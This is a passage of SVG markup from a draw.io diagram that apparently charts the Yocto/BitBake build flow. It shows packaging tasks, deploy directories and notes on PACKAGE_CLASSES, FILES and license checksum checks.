stroke-miterlimit="10" pointer-events="stroke"/><path d="M 9107.96 3435.53 L 9098.63 3407.53 L 9107.97 3414.53 L 9117.3 3407.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="9000.48" y="3190" width="215" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 52px; height: 1px; padding-top: 818px; margin-left: 2251px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">bin</font></div></div></div></foreignObject><text x="2277" y="821" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">bin</text></switch></g><rect x="7689.48" y="1360" width="1287" height="595" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 320px; height: 1px; padding-top: 414px; margin-left: 1923px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><span style="font-size: 15px;">Folders created here are present in <b><u>PACKAGES</u></b> variable, BitBake knows what and where to put things using the <b><u>FILES</u></b> variable, example: <b><u>FILES:${PN}</u></b> files will go to <b><u>${PN}</u></b> folder which is in <b><u>PACKAGES</u></b></span></div></div></div></foreignObject><text x="2083" y="418" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">Folders created here are present in PACKAGES variable...</text></switch></g><rect x="8640.48" y="3680" width="360" height="120" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 935px; margin-left: 2205px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_package<br /></font></div></div></div></foreignObject><text x="2205" y="939" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_package&#xa;</text></switch></g><ellipse cx="8581.48" cy="3740" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 935px; margin-left: 2131px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">16</b></font></div></div></div></foreignObject><text x="2145" y="939" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">16</text></switch></g><path d="M 9988 2320 L 9988 2674.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 9988 2695.53 L 9978.67 2667.53 L 9988 2674.53 L 9997.33 2667.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="9748" y="2160" width="480" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 560px; margin-left: 2438px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">deploy-<b><i>pkg</i></b></font></div></div></div></foreignObject><text x="2497" y="564" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">deploy-pkg</text></switch></g><path d="M 9988 2860 L 9988 3014.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 9988 3035.53 L 9978.67 3007.53 L 9988 3014.53 L 9997.33 3007.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="9748" y="2700" width="480" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 695px; margin-left: 2438px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter"><b>${PACKAGE_ARCH}</b></font></div></div></div></foreignObject><text x="2497" y="699" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">${PACKAGE_ARCH}</text></switch></g><rect x="9028" y="1360" width="1640" height="595" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 408px; height: 1px; padding-top: 414px; margin-left: 2258px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font style="font-size: 15px;">This can be <b><u>rpms</u></b>, <b><u>debs</u></b> or <b><u>ipks</u></b>.<br />These are provided by<br /><b><u>package_rpm</u></b>, <b><u>package_deb</u></b> and <b><u>package_ipk</u></b> classes respectively, use <b><u>PACKAGE_CLASSES</u></b> for that as<br />content of <b><u>PACKAGE_CLASSES</u></b> will be appended<br />to <b><u>INHERIT</u></b><br /></font></div></div></div></foreignObject><text x="2462" y="418" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">This can be rpms, debs or ipks....</text></switch></g><path d="M 10522 3105 L 10708 3105.59 Q 10748 3105.71 10748 3065.71 L 10748 1320.57 Q 10748 1280.57 10708 1280.57 L 7353.71 1280.57 Q 7313.71 1280.57 7313.8 1240.57 L 7313.92 1180.42" fill="none" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 7313.97 1153.42 L 7331.9 1189.45 L 7313.92 1180.42 L 7295.9 1189.38 Z" fill="#000000" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="all"/><rect x="9454" y="3040" width="1068" height="130" rx="19.5" ry="19.5" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 265px; height: 1px; padding-top: 776px; margin-left: 2365px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">sayhello-0.1-r0.${PACKAGE_ARCH}.<i>pkg</i></div></div></div></foreignObject><text x="2497" y="780" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">sayhello-0.1-r0.${PACKAGE_ARCH}.pkg</text></switch></g><rect x="10788" y="2640" width="1480" height="680" fill="none" stroke="#36393d" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 368px; height: 1px; padding-top: 745px; margin-left: 2698px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font style="font-size: 15px;">This task also depends on <b><u>PACKAGE_CLASSES</u></b>,<br /><b><u><i>pkg</i></u></b> can be <b><u>rpm</u></b>, <b><u>deb</u></b> or <b><u>ipk</u></b> for <b><u>package_rpm</u></b>,<br /><b><u>package_deb</u></b> or <u style="font-weight: bold;">package_ipk</u> respectively.<br />The generated package generally named using:<br /><b><u>${PN}</u></b>, <b><u>${PR}</u></b>, <b><u>${PACKAGE_ARCH}</u></b> and <b><u><i>pkg</i></u></b><br /></font></div></div></div></foreignObject><text x="2882" y="749" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">This task also depends on PACKAGE_CLASSES,...</text></switch></g><path d="M 7314 520 L 7314 654.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 7314 675.53 L 7300 647.53 L 7314 654.53 L 7328 647.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 7454 440 Q 7454 440 7742.53 440" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" stroke-dasharray="12 12" pointer-events="stroke"/><path d="M 7763.53 440 L 7735.53 449.33 L 7742.53 440 L 7735.53 430.67 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="7174" y="360" width="280" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 110px; margin-left: 1795px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">deploy</font></div></div></div></foreignObject><text x="1829" y="114" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">deploy</text></switch></g><path d="M 7313.71 840 L 7313.71 880.57 Q 7313.71 920.57 7313.71 910.29 L 7313.71 905.14 Q 7313.71 900 7313.81 927.26 L 7313.91 954.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 7313.98 975.53 L 7299.88 947.58 L 7313.91 954.53 L 7327.88 947.48 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="7054.48" y="680" width="519" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 128px; height: 1px; padding-top: 190px; margin-left: 1765px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><b>${DEPLOY_DIR_<i>pkg</i>}</b></div></div></div></foreignObject><text x="1828" y="194" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">${DEPLOY_DIR_pkg}</text></switch></g><rect x="9488" y="3680" width="600" height="120" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 935px; margin-left: 2447px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_package_write_<i>pkg</i><br /></font></div></div></div></foreignObject><text x="2447" y="939" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_package_write_pkg&#xa;</text></switch></g><ellipse cx="9408" cy="3740" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 935px; margin-left: 2338px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">17</b></font></div></div></div></foreignObject><text x="2352" y="939" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">17</text></switch></g><path d="M 10048 3740 Q 11528.57 3740 11528.03 3345.47" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" stroke-dasharray="12 12" pointer-events="stroke"/><path d="M 11528.01 3324.47 L 11537.38 3352.46 L 11528.03 3345.47 L 11518.71 3352.48 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="7074" y="980" width="480" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 265px; margin-left: 1770px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">${PACKAGE_ARCH}</div></div></div></foreignObject><text x="1829" y="269" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">${PACKAGE_ARCH}</text></switch></g><rect x="7768" y="672.52" width="1660" height="167.48" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 413px; height: 1px; padding-top: 189px; margin-left: 1943px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font style="font-size: 15px;">For packages, this can be <b><u>IPK</u></b>, <b><u>RPM</u></b> or <b><u>DEB</u></b> (<i>check step 17</i>)</font></div></div></div></foreignObject><text x="2150" y="193" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">For packages, this can be IPK, RPM or DEB (check step 17)</text></switch></g><rect x="7369.48" y="480" width="320" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 78px; height: 1px; padding-top: 133px; margin-left: 1843px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">DEPLOY_DIR</font></div></div></div></foreignObject><text x="1882" y="136" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">DEPLOY_DIR</text></switch></g><rect x="4988" y="80" width="240" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 58px; height: 1px; padding-top: 33px; margin-left: 1248px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">TMPDIR</font></div></div></div></foreignObject><text x="1277" y="36" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">TMPDIR</text></switch></g><rect x="1668" y="480" width="250.72" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 61px; height: 1px; padding-top: 133px; margin-left: 418px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">DL_DIR</font></div></div></div></foreignObject><text x="448" y="136" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">DL_DIR</text></switch></g><path d="M 7573.48 760 L 7630.29 760.34 Q 7670.29 760.57 7706.42 758.98 L 7742.55 757.38" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" stroke-dasharray="12 12" pointer-events="stroke"/><path d="M 7763.53 756.46 L 7735.97 767.02 L 7742.55 757.38 L 7735.15 748.37 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="10488" y="2380" width="600" height="120" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 610px; margin-left: 2697px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_package_write_<i>pkg</i><br /></font></div></div></div></foreignObject><text x="2697" y="614" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_package_write_pkg&#xa;</text></switch></g><ellipse cx="10408" cy="2440" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 610px; margin-left: 2588px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">18</b></font></div></div></div></foreignObject><text x="2602" y="614" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">18</text></switch></g><path d="M 10268 2310.29 Q 10879.43 2310.29 10879.43 1999.43 Q 10879.43 1688.57 10878.68 1140.47" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" stroke-dasharray="12 12" pointer-events="stroke"/><path d="M 10878.65 1119.47 L 10888.02 1147.46 L 10878.68 1140.47 L 10869.35 1147.48 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="10148" y="2260" width="120" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><path d="M 10088 2200 Q 10088.57 2077.14 10173.14 2077.14 Q 10257.71 2077.14 10257.94 1980.47" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" stroke-dasharray="12 12" pointer-events="stroke"/><path d="M 10257.99 1959.47 L 10267.26 1987.49 L 10257.94 1980.47 L 10248.59 1987.45 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="9628" y="805" width="1667.52" height="310" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 415px; height: 1px; padding-top: 240px; margin-left: 2408px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font style="font-size: 15px;">This can be <b><u>PKGWRITEDIRRPM</u></b>, <b><u>PKGWRITEDIRDEB</u></b> or <b><u>PKGWRITEDIRIPK</u></b> for <b><u>package_rpm</u></b>, <b><u>package_deb</u></b><br />or <b><u>package_ipk</u></b> respectively<br /></font></div></div></div></foreignObject><text x="2615" y="244" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">This can be PKGWRITEDIRRPM, PKGWRITEDIRDEB or PKGWRITEDIRIPK for pack...</text></switch></g><rect x="628" y="2470" width="1313" height="410" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 326px; height: 1px; padding-top: 669px; margin-left: 158px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><span style="font-size: 15px;">License checking happens in <b><u>do_populate_lic</u></b> after <b><u>do_patch<br /></u></b>and before that a checksum check<br />happends on <b><u>LIC_FILES_CHKSUM</u></b> if the<br />license is not <b><u>CLOSED</u></b><br /></span></div></div></div></foreignObject><text x="321" y="672" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">License checking happens in do_populate_lic after do_pa...</text></switch></g><rect x="3528.48" y="1360" width="1739.52" height="280" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 433px; height: 1px; padding-top: 375px; margin-left: 883px;"><div 